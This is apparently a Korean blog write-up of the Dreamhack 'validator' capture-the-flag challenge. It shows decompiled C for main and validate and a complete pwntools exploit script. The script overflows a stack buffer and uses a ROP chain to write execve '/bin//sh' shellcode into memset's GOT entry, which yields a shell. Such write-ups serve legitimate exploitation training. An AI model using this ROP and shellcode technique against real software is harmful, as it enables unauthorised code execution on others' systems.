[Dreamhack] validator

김성진·2022년 7월 17일
0

Dreamhack_System

목록 보기
18/44

📒 Description & Checksec

이번에는 실행파일을 제외하고는 어떠한 파일도 제공하지 않았다.
validator_dist를 가지고 문제를 해결해보고자 한다. ( validator_server와 같은 파일인 것 같다.)


📒 C code (with IDA pro)

📖 main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate(s, 128LL);
  return 0;
}

main function이다. memset을 한 후에 validate 함수를 실행하는 것이 확인된다.
그 인자로는 s와 128을 주는 것으로 보인다.

📖 validate

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

validate 함수이다. 각각의 반복문 마다 조건이 달려있다.
우선 인자로 넘겨준 배열 s는 "DREAMHACK!" 이라는 문자열로 시작해야 한다.

두 번째 반복문에서 보이는 것은 j=11 부터 j < 128 까지 s의 각 문자의 값이 1씩 줄어들어야 한다.

이를 다 통과하면 뒤에 덧붙인 오버플로우가 제대로 들어가질 수 있다.


📒 Exploit

📖 exploit.py

from pwn import *

p = process('./validator_dist')
#p = remote('host3.dreamhack.games', 17304)
e = ELF('./validator_dist')
context(arch='amd64')

read_plt = e.plt['read'] # read(0, memset_got, 100)
memset_got = e.got['memset']
#system_plt = e.plt['system']
shellcode = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

prdi = 0x00000000004006f3
prsi_r15 = 0x00000000004006f1
prdx = 0x000000000040057b

payload = "DREAMHACK!"
payload_list = []
for i in range(118, 0, -1):
    payload_list.append(i)
payload += bytearray(payload_list)
payload += p64(0)

# read(0, memset@got, 100)
# memset@got => shellcode
# Jmp to memset@got
# payload += p64(0)
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(memset_got)
payload += p64(0)
payload += p64(prdx)
payload += p64(50) # End
payload += p64(read_plt)
payload += p64(memset_got) # Jump to here

p.send(payload)
p.send(shellcode)
p.interactive()

Shellcode를 전달하여 문제를 해결하고자 하였는데, 입력할 수 있는 곳이 BSS아니면 떠오르지 않았다.
하지만 BSS는 실행권한이 존재하지 않는다. 그래서 memset 함수의 got에 넣었다.
해결 ~

profile
Today I Learned

0개의 댓글